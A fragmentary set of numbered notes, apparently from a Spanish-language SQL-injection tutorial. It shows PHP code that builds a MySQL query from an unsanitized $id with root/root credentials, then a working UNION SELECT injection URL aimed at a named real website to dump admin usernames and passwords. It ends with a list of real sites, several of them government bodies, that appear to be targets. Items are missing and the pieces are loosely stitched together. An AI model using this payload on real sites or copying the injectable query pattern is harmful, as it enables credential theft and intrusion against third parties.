This document contains code to connect to a MySQL database named "prueba" using username "root" and password "root". It then executes a query on the "users" table to select all columns where the id matches the $id variable. The document also contains some URLs.

3. $id;
$db_host="localhost";
$db_user="root";
$db_pass="root";
$link = mysql_connect($db_host, $db_user,
$db_pass) or die ("Error conectando a la base de datos.");
$dbname="prueba";
$tablename="users";
$query="SELECT * FROM $tablename where id =
$id;";
$result=mysql_db_query ($dbname, $query, $link);

4. http://www.nordicwalkingoriginal.com/noticia.php?id
=1+union+all+select+1,group_concat%28username,0x3
a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2
0,21,22+from+admin--

6. http://www.teletica.com/
http://www.congresochihuahua.gob.mx
http://www.brasil.org.bo/
http://www.ubuntu.cl/
http://www.tse.org.gt/
http://congreso.gob.gt